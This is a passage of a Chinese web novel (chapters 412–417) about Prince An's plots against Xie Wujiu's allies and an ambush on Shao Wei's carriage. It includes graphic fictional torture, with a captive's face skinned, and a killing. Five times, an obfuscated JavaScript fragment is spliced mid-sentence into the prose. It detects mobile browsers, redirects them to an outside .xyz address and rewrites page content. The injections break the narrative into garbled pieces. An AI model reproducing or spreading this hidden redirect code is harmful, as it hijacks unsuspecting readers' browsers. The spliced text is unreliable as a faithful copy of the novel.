“此事就不需吴大人担心了,”黑衣男子似乎是笑了一声,“我能保证,提供给大人的,一定是最好的解药。” 第四百一十二章 请大人动手吧 “还是说……吴大人觉得那两个游医看上去更有治愈王上的希望,所以又打算换个合作伙伴?” 斜晲了吴大人一眼,黑衣男子的语气又变得有些戏谑。 吴大人讷讷笑着,面上表情尴尬,“哪里,哪里……” 南疆王张榜广招能人贤士的那天晚上,这黑衣男人悄无声息地出现在这间书房之中,和吴大人达成了合作。 黑衣男人提供解药,让吴大人呈给南疆王,作为交换,吴大人要毫无保留地听从此人的差遣。 吴大人只让这黑衣男人答应了他一个要求。 他要当丞相! 黑衣男人当时连眼睛都没眨就答应了下来,这也更让吴大人坚定了要与之合作的信心。 那两个游医,能有这样的本事? 痴人说梦! 想到这儿,吴大人的面上顿时又堆起了谄媚的笑容。 “本官绝对没有质疑先生的意思!只是那两个游医看上去似乎的确有两把刷子,万一搅乱了先生的计划,那……是不是不太好啊。” 闻言,黑衣男子又朝着吴大人多看了一眼。 吴大人依旧笑得讪讪,点头哈腰地站在原地,眼中带着期望。 “大人的担忧,倒是也有几分道理。” 黑衣男子轻笑一声,“既然如此,那就请大人找个机会,将那两个游医除掉好了。” “这——” 吴大人险些咬了舌头,说话都变得结结巴巴的,“这怎么,本官,本官怎么找机会?” 那两个游医可是被南疆王在王宫留宿的,他能怎么把人除掉? “所以,大人的意思,是要让在下替大人扫清又一个障碍咯?”黑衣男子缓慢地眨了眨眼。 “不得不说,在下着实有些怀疑,到底是我请大人帮忙,还是大人请我帮忙?” 说到这句,他声音中的冷淡和威胁便不住地漫了上来。 吴大人又打了个哆嗦,感到背后也紧跟着窜起了一阵凉意! “不,不敢……不敢!”他的两条腿忽然就开始控制不住地发软,扑通一声朝着一旁的椅子跌坐进去。 那黑衣男人又朝着他望来一眼,神情更是锐利。 “哦?大人不敢什么?不敢单枪匹马地杀那两个游医?无妨,我可以给大人善后。” 善后? 这意思是人还得由他来杀呗! 吴大人的表情变得更加难看,他试图扯动嘴角,“不,不是……是不敢劳动先生出手,方才是我想的太简单了——” “诶,大人何出此言?” 吴大人一句话还没说完,便被这黑衣男人出声截断了。 他眼中流露出一丝疑惑,看向吴大人的时候,好像这位说了什么不得了的话似的。 “区区两个游医罢了,想除掉他们,这有何难?大人千万不要妄自菲薄,您肯定能办到。” “在下一定替您将后路铺好,让您完好无损地离开。” 听着这话,吴大人的眼前彻底一黑! 这两条命,他非夺不可了! “……先生……” 苦着脸,声音也哆嗦得不像话,吴大人抬起头,露出无比祈求的目光,“我,我我……” 他哪儿会**啊! “大人还有什么话要说?” 那黑衣男人故意弯起眉眼,语气也十分愉悦。 这模样,和刚才变脸的时候有异曲同工之妙! 吴大人又打了个哆嗦,下意识地改口,“我一定办到!” “那就好。” 闻言,黑衣男人眼底的笑容变得真挚了几分。 “那我可就等着,好好地配合大人了。” 反应过来自己都说了什么,却也已经晚了,吴大人追悔莫及,又不敢做什么,连点头的动作也变得沉重。 事已至此,为了那个位置,他也算是赌上一切了! 不成功,便成仁! 二人又说了几句,将宫中今日发生的事情打探得一清二楚,那黑衣男人方才放过了吴大人,又悄无声息地离开了尚书府。 望着黑衣男人的身影凭空消失的方向,吴大人仿佛被抽光了全身的力气,靠在椅子上大口大口地喘着粗气,半晌都回不过神。 这下,他该怎么办? —— “主子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252602|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那吴慎一看就是个废物,让他**,能行吗?” 另一边,黑衣男人离开尚书府后不久,就登上了一辆灰扑扑,毫不起眼的马车。 他钻进车中,马车便立刻启动,男人也长舒了一口气,将面罩摘下,露出一张神情还算和善的脸。 听见随着自己一道前去的影海的疑惑,安王又笑了笑。 “正因为他是个废物,所以,才要给他找点事情做,否则,以他的心思,说不定就要做出什么自作聪明的事情来了。” 王都这边发生的事情没有瞒过他的眼睛,如今天问大师失踪,正是他们的好机会。 安王星夜兼程赶到王都,幸好他从前就在这边留下了诸多后手,眼下也不算太过匆促。 “不过,吴慎也不算是个完完全全的废物,他有些本事,这次,就看要怎么用了。” 继续脱着自己身上厚厚的伪装,安王的语气又转向深思。 “那两个揭皇榜的走方郎中,你们去调查一下。” 敢对国师和天问大师的蛊毒动手,这样的人,怎么会在南疆寂寂无名? 况且,怎么就如此凑巧,就在南疆王张榜的时候,这两人就出现了? 安王屈起手指,一下接一下地敲击着小桌板。 “查得仔细点,务必不能放过任何一个可疑之处!” 影海连忙应下,顿了顿,又看着安王的脸色,小心翼翼地开了口,“天问大师那边,现在也还是什么消息都没有,主子您看……” 得知天问大师投身烈火,安王从未想过他是真的**,传回王都找人的消息,比他本人到的还要早。 可是,这么多天过去,天问大师却真的好像在王都彻底消失了,一点儿踪影都找不到。 不仅如此,天问大师的那些弟子和手下,也全都按兵不动,安静得让人有些心神不宁。 “继续找。” 思忖片刻,安王语气微冷。 “只要找不到,就不要停!” 他就不信,那妖怪一样的秃驴,还真能死在这么一场火里! 待马车在安王一处隐秘的宅院门前停下,一个小厮立刻跑了过来—— 第四百一十三章 路遇秃头 “主子!邵威的人动了!” “哦?” 闻言,安王眼底又有精光一闪,迫不及待地将这小厮手里的密信拿了过来,又大步走进屋中。 关上房门,他将密信打开一看,信中寥寥数语,的确写着邵威的手下已经离开王都,前往南郡方向而去。 “哈哈哈哈!” 畅快地笑了起来,安王随手将密信抛进灯盏,又背着双手看着信纸慢慢地被烧成灰烬。 “聪明反被聪明误、” 盯着跳动的火苗,安王的语气压低两分,却依旧难掩兴奋。 “本王就知道,谢无咎是不会放过这个疑点的。” 而他就是要引得谢无咎去查! “南郡那边,都准备好了吗?”安王心念一转,又朝着影海看去。 影海躬身,“一切准备就绪,只等鱼儿上钩!” “好!”安王一巴掌拍在桌上,“跟这帮乌合之众纠缠了这么久,也是时候收网了,真是……天助我也!” “阿嚏——” 坐在前往南郡的马车上,夜风吹来,邵威忍不住打了个大大的喷嚏! 他揉了揉鼻子,又忍不住转过脑袋,朝着自己离开的方向看了过去。 几天前,叶晚竹三人被南疆王传召到王宫,便再也没出来,只靠书信跟邵威沟通情况。 知道了他们要调查南郡云家,邵威当下便安排送信,让那边的人手先去探探虚实。 可不知怎么,他一连发出数道密信,都是石沉大海,没有半点消息能传回来! 最靠近南郡的据点就在万源附近,想到那边一片混乱的情况,邵威无奈之下,还是决定自己去走一趟。 万一据点被天问大师,或者是安王的人毁了,那就大事不妙了! 这个猜想本身就足够让人心下不安,这会儿吹着微冷的风,望着惨白的月光,邵威忍不住又打了个哆嗦。 他怎么忽然觉得浑身直发凉呢? “怎么了?” 林婉君与他一道同行,见邵威又是打喷嚏,又是频频扭头往后看,忍不住出声问道。 顿了顿,邵威一时间也不知道该从何说起。 说他忽然想到事情不妙,又感觉这风吹得很有气氛,所以被感染了? 这话听上去,像是傻子会说的! “没什么。”他还是选择了摇摇头,“就是不知道那边怎么样了。” 提起万源附近的据点,林婉君的表情也变得有些不好。 安乐茶楼被毁之后发生了太多事情,重建据点的事情只能一拖再拖。 眼下若是又被毁去一个据点,对他们而言,无疑又是一种打击。 “等——” 林婉君正要开口说些什么,忽然车身一晃,她猝不及防,猛地一头朝旁边栽了过去! “诶呦!” 邵威收到的冲击也同样不小,整个人都从座椅上滑落下来,刹不住车,半个身子冲出了车厢! “怎么——”回事! 看清外面的景象,邵威蓦地瞪大双眼,没说出口的话全都被堵回了喉咙口! 马车一直是沿着官道通行的,这会儿正走在四下无人的山间。 眼前的路上铺着密密麻麻的铁蒺藜,根本无法通行! 车夫死死攥着缰绳稳住车身,正要擦擦冷汗,便听见邵威的喊叫从后面传来。 “快退!” 好端端地,路上怎么会冒出铁蒺藜? 肯定是冲着他们来的! 车夫急忙一勒缰绳,想调转车头,就在这时,一群身穿黑衣的秃头从两旁的山壁上无声无息地落了下来! “奉天问大师之命取尔等项上人头!动手!” 不知道是谁喊了一声,下一刻,黑衣人们便齐刷刷地朝着马车攻了过来! 刀光剑影袭来的一瞬间,另有几个身穿黑衣的影子,也从暗处越出,挡在马车前便和这帮人杀在了一起! 对方显然没有想到还有后手,黑衣人们的动作都有几分慌乱,又很快稳住。 “今天无论你们有多少人,都得死!” 一个秃头手执大刀,朝着马车便劈头盖脸地砍了下来! “哼,别装了。” 同样挥刀挡在马车前的影卫叫影五,人如其名,他挡住对方的一击,又学着这个黑衣人的语气怪模怪样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252603|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地开口。 “今天无论你们怎么装,都挡不住身上这股当过影卫的味道!” “你!” 那个黑衣秃头的语气明显变得有些慌乱。 “我什么?” 冷笑一声,影五再次挥刀而上,“剃了头发也不像和尚,跟我们装什么呢?” 都是一起训练过的影卫,谁能不知道对方的招数? 从交手的那一霎,影五便能确定他们的身份了! “安王处心积虑地让你们给天问秃驴泼脏水,你们也真是费心了。”他又出一招,戏谑的眼神抽空朝着眼前黑衣人光溜溜的头顶看了看。 “夜里起风了,你们冷不冷啊?” “住口!” 被影五如此挑衅,那黑衣人顿时忍不住了,大喝一声,出手更加凶狠。 影五举起长刀,重重一记猛拍下去,正中此人后心的要害! 黑衣人闷哼一声,忍不住吐出一口鲜血,单膝跪在地上,只能用力地喘息。 影五又是两脚上去,将他彻底踹翻,举刀抵住了他的脖颈。 “别动,否则要你狗命。” 冷冷地垂下眼皮,影五的语气中不带半点情绪,方才那油嘴滑舌的模样,赫然是装出来的! 黑衣人胸膛起伏,想说什么,刚张口便又是哇地一声,继续吐血不止。 他余光朝着四下望望,自己带来的人,已经全都落败于对方手下! 怎么会? “这些年来跟着安王,没好好练功吧?” 看着黑衣人震惊难言,不敢相信的模样,影五倒是又笑了笑。 “我们主子可跟你们不一样,日日操练,从没有多余的疏忽。” 十几年已经过去,虽然招式相同,可这些黑衣人们的内力却并没有多少精进。 黑衣人皱着眉头,眼底渐渐浮出了猩红。 “这么看着我做什么?”影五耸了耸肩,“你自己武艺不精,能怪的着别人吗?” 就在这时,一阵脚步声从两人身后传来。 邵威和林婉君一前一后走下马车,在影五身边站定。 “安王让你们做什么?” 第四百一十四章 送你们一程 低头看着那个黑衣人,邵威的脸色很不好看。 方才在车厢里那一撞,他的脸擦过桌角,留下了一道不长不短的痕迹,这会儿还在流血。 随手抹了一把伤口上的血迹,邵威的眼底也冒起了红光。 这还没完没了了? “你们这么喜欢当和尚,干脆去给天问那秃驴投诚好了。” 林婉君站在邵威旁边,也抱着双臂冷笑,语气十分尖锐,“那秃驴还能给你们弄点蛊毒,把你们变得厉害一点,省得出来丢人现眼。” 她的额头也被撞出了一块大包,又红又青,瞧着煞是骇人。 “老实交代!”影五又用力将刀身朝下压了压。 这黑衣人被迫向上仰着脑袋,眼中满是挣扎,“我,我什么都不会说的!你们杀了我吧!” 周围这会儿静悄悄的,大部分黑衣人都已经被影卫处理了,说着话,这个黑衣人又快速地朝两旁看了看,眼中已经透露出了绝望。 影五的话不算有错,这些年来,他们更趋向于替安王收集情报,暗中做事,论起武艺,已经和眼前这些影卫们不在一个级别上了。 打不过,黑衣人缓缓闭上双眼,等待死亡的来临。 下一刻,头皮上传来的剧痛却让他倒吸一口冷气,又猛地睁开了眼睛! “死?你想得美。” 影五语气冷酷,刀尖不轻不重地在黑衣人光溜溜的脑袋上滑动,时而还会碰到几块没有被剃干净的发茬。 鲜血也随着他的动作,不断地缓缓流出。 “不交代安王给你们的命令,你很快就会发现,死和活,都是一件会让你无比渴望的事情。” 一边说着话,影五的动作也还在继续,又分神抬脚,重重地踏在黑衣人试图挣扎的上半身上。 “除了练武,我们这么多年,也学了不少其他的东西。” “比如说……刑讯逼供。” 黑衣人的身子随着这话变得更是瑟瑟发抖起来。 他们虽然在南疆,可这段时间以来,已经听了不少和谢无咎有关的消息。 大梁九千岁的名声,可是和恶鬼牢牢绑定在一起的! 深吸一口气又咬紧牙关,黑衣人仍是不发一言。 “哟?这么坚定?” 见状,影五倒是又笑了一下,只是依旧没什么温度。 话音落下,他手腕忽然一转,沿着自己刚刚制造出来的伤口向下,在这黑衣人的脸上猛地割开又一道伤疤。 这条伤疤直直将黑衣人的脸分成了两半。 “你,你要干什么?” 先是被刀尖从眼前路过的景象慑了一下,而后才反应过来影五干了什么,黑衣人感受着这条跟方才截然不同的伤疤,心下忽然控制不住地慌张了起来。 他转动着眼珠子,感觉有血顺着内眼角流了进来。 “问得好,我也想问问你们,你们要干什么?” 影五暂时没再动作,拄着刀低下头去,望着这黑衣人警惕慌张的表情,轻哼了一声。 “你们可还记得自己的身份,可还记得被选中做影卫是为了什么?” 先帝年轻的时候是个风流多情种,后宫里嫔妃如云,子女的数量自然十分可观。 嫔妃们争抢,皇子皇女也互不相让,夺嫡之前便闹出过不少人命。 先帝便给所有子女选了一批影卫,专门待在他们身边,既是为了保护他们的安全,也是为了在发现有什么异样的时候,能及时向先帝回报。 有了影卫们,宫中也算安静了一段时间,直到皇子夺嫡彻底打破了平静。 也是那个时候,先帝和知情人才发现,有不少影卫已经被皇子皇女彻底收到了自己的羽翼之下! “你们这是叛主!”影五咬紧牙关,眼中的冷意也变得越发明显。 黑衣人怔愣过后也笑了起来,瞧着不比影五的表情好看多少。 “怎么,说得这么大义凛然,你们还不是跟着谢无咎到处跑?难道你们恪守了先帝的命令,一点儿都没有将当年的三皇子当成自己的主子?那你们跑什么?” 他哈哈大笑着,语气十分尖酸刻薄。 “更别提你们现在的主子是谢无咎了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258631|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他有一个能对外展示的身份吗?除了在知情人面前,你们还好意思说自己是曾经的皇家影卫吗?” 分明都是先帝手下的影卫,最后却各自投向不同的主人。 先帝这一招棋下得昏,他们也只能良禽择木而栖! 黑衣人又用力喘息了两下,朝着影五龇了龇牙,笑得挑衅,“咱们半斤八两,就谁也别说谁了!” 他一句话落下,本以为会看到影五暴怒的脸色,谁知后者的表情却很是微妙。 这是…… 定了定神,黑衣人忽然瞪大了双眼,难以置信地朝着影五又看了过去! “你们难道——呃!” 没再让他开口,影五抄起刀狠狠地拍了下去,刀背砸在这黑衣人脸上,又激起片血花! “就算你说得对,那又怎么样?” 耸了耸肩,影五的语气又变得嘲讽起来,仿佛刚才的那一幕只是这黑衣人的幻觉。 他移开刀,“我不仅敢做,我还不敢让人说,现在我要恼羞成怒对你用刑,你服不服?” 站在一旁的邵威和林婉君:…… 二人忍不住悄悄对了个视线。 这话,怎么听着都不对劲吧? 那黑衣人也重重地喘着粗气,看向影五的眼神依旧警惕,却又带上了探究,“你——” 刚起了个头,影五的刀尖猛地对准了黑衣人的一只眼睛。 “废话说得够多了,”他的手很稳,“现在该回归正题,安王让你们干什么?” 那冰冷的刀尖几乎就抵在眼球上,黑衣人下意识地屏住了呼吸,不敢有半分动作。 影五冷笑一声,微微用力又将刀尖往前推了那么一点儿。 “我说!我说!” 丝丝缕缕的痛意似乎漫了上来,黑衣人再也经受不住折磨,失声大喊。 “我的耳朵在听呢。” 影五嗯了一声,语气冷淡,手上也没有要将刀尖移开的意思。 黑衣人只能尽力地把自己往地上贴了又贴,感到足够安全才开口,“主子要我们送你们一程……” 第四百一十五章 明知山有虎,偏向虎山行 “你还挺文雅的?”闻言,邵威立刻瞪起了眼睛! 还送他们一程? 那安王怎么自己不到黄泉路上,先给他们探探路呢? “不是这个送!” 黑衣人沉默一瞬,再开口的时候,语气似乎是透着一丝无奈。 “安王让我们假扮天问大师的人,一路追杀你们的马车,确保你们能平安无事地逃到南郡,和云家的人接头。” 闻言,邵威和林婉君互相看了看,连同影五一起,都皱起了眉头。 这是什么意思? “你把话说清楚点,别似是而非的!”林婉君上前一步,抱着双臂冷冷地朝那黑衣人看。 影五的刀刃尖端已经随着黑衣人的吐口而微微移开了几寸,黑衣人好歹畅快地呼吸了几口,再说话时声音便没有那么紧张了。 “我只知道这些,我们是主子的手下,主子不发话,我们哪里敢多说什么?” 影五的语气又冷酷起来。 “你不敢对着安王多说,但对着我们少说一些,应该是没有什么不敢的吧?” 话音未落,他一刀上去,重新对准了黑衣人的脸。 黑衣人咽了咽口水,也以肉眼可见的速度变得紧张起来。 他脸上方才被影五割开的伤疤不深,这么一会儿功夫已经愈合得差不多了。 影五却又对准了那已经结痂的细长伤口,刀尖一滑一挑,将这黑衣人的左半张脸皮割开了一大块! “啊——”黑衣人忍不住地哀嚎了一声。 “脸皮这么厚,装了这个又装那个,怎么只是碰一下就害怕成这样?” 影五这回说话的时候,手上就不再留情面了,动作十分稳当地割着黑衣人的脸皮。 他稳如泰山,黑衣人就挣扎得像个泼猴了,不停地挥动着手脚想跑,却又被影五一一制住。 “你这张脸实在太丑,我帮你修理修理。” 笑眯眯地说着话,影五已经将黑衣人的半张脸皮撕了下来。 鲜血流出,黑衣人那受伤的半张脸看上去极其可怖,邵威站在一旁,忍不住地咽着口水,感到背上窜起来的冷意也有愈演愈烈的趋势。 难道他今天晚上的预感,是因为这个? 影五手上的动作不停,撕完左半张脸又去撕右半张,黑衣人疼得全身都在哆嗦,想把身子蜷缩起来,却都做不到! 恍恍惚惚之间,黑衣人想起了谢无咎在东厂的种种事迹,也彻底明白了影五刚才那句并不算被自己完全放在心上的话。 他们这段时间,学了不少东西! 果然! “我说!我说我说!” 眼见着影五差不多把整张脸皮都撕了下来,忍着越发猛烈的疼痛,黑衣人奋力地开了口。 他这会儿每说一个字,都能感到嘴唇附近因为牵扯而传来一阵剧痛,让他冷汗直冒,又变得更加痛苦。 “你要说什么?” 影五的声音听起来漫不经心的,似乎已经对他的答案失去了兴趣,他一双眼睛在黑衣人身上各处来回扫视,手里的刀也摇摇晃晃,看起来像是在寻找下一个目标。 黑衣人不敢再耽搁,喘着粗气,用力加快语速。 “云家,云家是安王的势力!你们若是和云家见了面,之后的一切,就都是由安王来布置了!” 此话一出,邵威忍不住上前两步。 他按住影五的胳膊,又看向这黑衣人。 “你可知道你在胡言乱语些什么?”冷冷地垂下目光,邵威的语气堪称严厉。 南郡云家这四个字是从南疆王的嘴里说出来的,南疆王身后站着的人,一直都是天问大师。 南疆王总不会无缘无故地提起这个云家,叶晚竹写给邵威的信里也提到了,他们一致怀疑这件事和天问大师脱不了干系。 可这黑衣人的话如果是真的……那就说明,安王也参与其中? 邵威的眉头皱得很紧。 黑衣人这会儿不敢再有任何隐瞒了,态度也变得卑微起来。 “这,这我就真的不知道了……我得到的命令就是这两条。” 飞快地睨了影五一眼,见他似乎又要上前来,黑衣人连忙又加快语速,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258632|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后的命令,肯定是等你们和云家见面的消息传回去之后,安王才会下达的!” “哦,这么说来,你就是那个负责传信的?” 林婉君歪了歪脑袋,说着话又移开目光,实在不想多看这张恶心的脸。 黑衣人点了点头,一对充血的眼珠子瞧着骇人,里面的情绪却带着期望。 他还要给安王传信,他不能死啊! “信是怎么传的?” 斜晲着这黑衣人的眼神,林婉君顿时又冷笑起来。 察觉她的目的,黑衣人下意识地转了转眼珠子。 “需要,需要我的亲笔密信,还有腰上的玉印,二者缺一不可。” 印章可以转手,笔迹却不能模仿。 闻言,三人你看看我,我看看你,一时间都没说话。 直到这会儿才勉强算是松了一口气,黑衣人随即又被自己脸上的伤疼得眼前发黑,忍了又忍,开口说话时的声音还是颤抖的。 “我,我保证什么不该有的心思都不会有,我也保证我说的话都是真的——!” 刚说到这儿,他忽然一顿,随即眼底露出了无比惊诧的情绪! 林婉君抽出**,狠狠扎进这黑衣人的心口,动作干脆利落,没有半点犹豫的痕迹。 她又利落地抬手抽刀,鲜血迸出,黑衣人猛烈地挣动了两下,就渐渐地失去了力气。 黑衣人眼底的亮光也开始跟着消散,唯独紧紧盯着林婉君的时候,依旧能泄露出一丝疑惑。 “带上你已经生出来的不该有的心思,我也送你一程。” 丢开**,林婉君轻声冷笑。 下意识说出来的话,才是最真心的,留着这个不老实的黑衣人也是祸害! 邵威和影五都没说话,和林婉君有差不多的想法,直到黑衣人彻底断气,二人才敛起神色,重新讨论起他刚才的那句话。 “看样子这个云家肯定有不少问题,你们怎么想?”影五第一个出声。 这趟出行,他只负责保护这二位的安全。 “明知山有虎,偏向虎山行!” 第四百一十六章 两败俱伤? 邵威已经在一旁默不作声地思忖了半晌,这会儿说话说得十分果断。 “有这么大的问题,我们必须得把这个云家查得清清楚楚,否则还不知道要闹出什么样的乱子来。” 天问大师和南疆王之间的问题还没解决,安王又插了一脚进来,邵威光是想想,就感觉自己一阵头痛。 “咱们的行踪本该是保密的,现在看来也不安全了,王都里肯定也有安王的眼线,”他继续思索着,“这边的情况不能往主子手中传,免得再生出什么波折。” 这件事,他们得自己干。 影五点了点头,“主子让我带了一百护卫,隐在暗处出手,足够用了。” “现在只有一个问题,你们打算怎么办?” 邵威的神情有了一瞬的停滞,又下意识地朝着林婉君看了过去。 在这黑衣人说出那番话之前,邵威本打算假意相信他,将此人带在身边再找其他的机会。 可黑衣人明显也有什么计划,留他不住,接下来该怎么办,说实话,邵威还没开始想。 林婉君笑了笑,“我有个想法。” —— 五天后的深夜,一个影卫悄无声息地钻进了安王暂时落脚的府邸。 “主子,去云山的人带消息回来了。” “说。” 虽然是深夜,可安王却并未入眠,而是衣着整齐坐在书桌边,不知道在低头看着什么。 他捏着书脊的手,这会儿也在微微用力。 他派出去追踪邵威一行的手下在云山忽然失去了所有消息,怎么都联系不上,安王只能再让人前去打探。 “山道上有恶战过的痕迹,影木他们全都**——” “你说什么?” 刚听到这儿,安王便忍不住一拍桌子,猛地站了起来! 怎么会这样? 影卫垂着脑袋,顿时不敢说话,连大气都不敢喘。 “……继续!” 安王倒是用力地深呼吸了几下,又捏着眉心吩咐。 影卫的态度变得更加小心。 “云山附近的百姓前几日发现后便报了官,据当地衙门的调查,事发第二天清晨,一辆马车曾经急匆匆地穿过镇子,朝东南方而去,看那马车的模样,应该就是邵威他们。” “除了尸体,山道上其他的暗器,机关,都被人清理掉了,对方还拿走了影木等人身上所有能证明身份的东西,甚至还给他们换了衣裳。” “也是因此,当地衙门并没有查出他们的真正身份,便只以为是山匪劫道。” 他一句一句地说着,屋中的气氛越发冷凝,压抑得让人仿佛要喘不过气来。 不知道过去多久,安王的声音才再次响起。 “邵威。” 他轻声念叨着这个名字。 处理现场,是不想让人发现他们的踪迹,而东南方向,正是离开南疆,前往南郡的那条路。 “看来他们不仅非常着急要去完成叶晚竹布置的任务,身边还带着高手,倒是本王小看他们了。” 抬手轻轻叩击着桌面,安王不知道什么时候已经重新坐了下来,神情也恢复了淡定。 伴随着他的缓和,屋中的气氛也有所好转。 “主子……”那影卫试探着抬起头,“我们要不要现在派人,再追过去?他们的马车在镇子中停了一下,买走了大量的伤药。” 虽然杀了影木和他带去的所有手下,可邵威一行人定也是身负重伤,勉强逃命。 在脑海中勾勒出了当时的画面,安王又思忖片刻,终是摆了摆手。 “暂时不必,经过这一遭两败俱伤的战斗,他们再经不起什么波折,若是派去了人又不杀,未免会引起他们的怀疑。” 抬起头,安王默默地算了算日子。 “给云家那边传信,把这里发生的事情告诉他们,让他们务必好好招待客人。” 待邵威等人和云家人见面,机会自然便来了。 “是!” 这个影卫连忙躬身应下,转身离开,直到屋中恢复安静,安王这才盯着桌边一缕被风吹乱的线香烟气,开始出起神来。 王都的情况这几日倒是没有什么太大的变化。 叶晚竹一行三人被南疆王扣在宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258633|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中,没有半点动静,那两个揭榜的游医倒是往南疆王面前凑了两回,换了几种办法,也都没有起效。 吴慎大人似乎也动了起来,整日入宫,打着替王上分忧的招牌,频频凑到藏书阁,也不知道能不能找到下手的机会。 天问大师一如既往地不知所踪,甚至他府中的弟子已经开始着手为他操办葬礼,仿佛这个人真的已经**。 一切看上去都是那么正常,可安王却就是觉得不对劲。 哪里好像都不对劲。 眼下派去截杀邵威的影卫也没能得手,安王方才面上不能太过明显,实则心底的焦躁一浪又一浪地翻涌上来,搅得他几乎不能畅快地呼吸。 又闭上双眼深吸了一口气,书房外有脚步声再次响起。 “主子,京城有信来了。” 站在外面的是管家,他话音刚落,安王便倏地一下睁开眼睛,整个人也从椅子里弹了起来! “进来!” 管家陈叔快步走进屋中,又反手把门关上,从袖子里掏出一个蜡丸。 安王迫不及待地拿过来打开。 他再在南疆这里机关算尽,哪怕是把整个国家一口吃下,对安王来说,也比不上京城的消息重要。 那边的才是重头戏! 蜡丸里藏着的纸条上只有寥寥数语,字迹还小而又小,安王费力地把脑袋伸到灯盏之下,又眯着眼睛看了半天,显得格外艰辛。 可他很快就哈哈大笑了起来,“妙哉!妙哉!真是天助我也啊!” 管家见状才松了一口气,刚才这位主子冷着脸发脾气的样子太过骇人,他着实有些害怕自己手里的也不是什么好消息。 幸好,他的脑袋这下是保住了! “本王这就给倪相回信,你在这儿等着,不得耽搁!” 还没等管家说些什么,安王便动手铺纸研墨,不一会儿功夫就将一封书信交到了管家手里。 “用最快的速度送往安王别院。” 说到这儿的时候,安王面上的笑容已经变得十分舒心。 “若是一切顺利,这边很快就能收网了。” 第四百一十七章 浮山派的记号 宫外的风波迭起暂时还传不到叶晚竹三人的耳中。 这段时日,谢无咎拿着王后的令牌频繁出入宫廷各处,搜寻能找到的各种信息,叶晚竹和岑灵川则是继续扮成那给南疆王解毒的赤脚大夫,扎进藏书阁和御医署之间。 叶晚竹在医术上只能装装样子,岑灵川从前在山中虽然要修**医术,可这么多年过去,早就忘得差不多了,更别说他学的时候也是一知半解,二人装模作样地换了几次药方,不是清热就是下火的。 南疆王身上的蛊毒和印记没有半分进展,一段时间的药方喝下来,倒是祛了不少湿气,人瞧着没那么浮肿,意外地精神了几分。 王上这般模样,落在每日前来问候请安的臣子们眼中,那就是有好转的迹象了! 于是乎,众人更是将所有的希望都寄托在了这两位“神医”的身上。 “难道我真有学医的天赋?” 一大清早,神医岑灵川从院外走进自己在宫中的临时住所,一只手拎着一串长长的药包,另一只手摸着自己的脸,低声呢喃。 叶晚竹不看也知道,肯定是来送药的宫人又对他吹捧了一番。 这样的事情,已经不是第一次发生了。 “岑神医今天准备给王上开什么药方?”她背对着房门,一边翻书一边随口说着。 屋中桌上摆满了书卷,一些是他们从藏书阁搬出来的,其中还藏着谢无咎悄悄送来的,医书之外的书籍,都是他看过后感觉可能有用的。 叶晚竹一句话道出,又看着书中艰涩难懂的句子,过了半晌才反应过来,岑灵川没说话。 “师兄?” 背后安静得吓人,叶晚竹放下书扭过头去。 她便对上了岑灵川一动不动的头顶。 岑灵川面前放着拆封到一半的药包,其中一个正被他拿在手上,他垂头盯着那包药的外封,叶晚竹走到身边都没发觉。 “师兄。” 叶晚竹又喊了一声,顺着岑灵川的眼神,看到那药包的外皮上画着一个圆形的花纹,笔法细细长长,十分精致,又透着一股古朴的美。 “这是……” “这是浮山派的记号。” 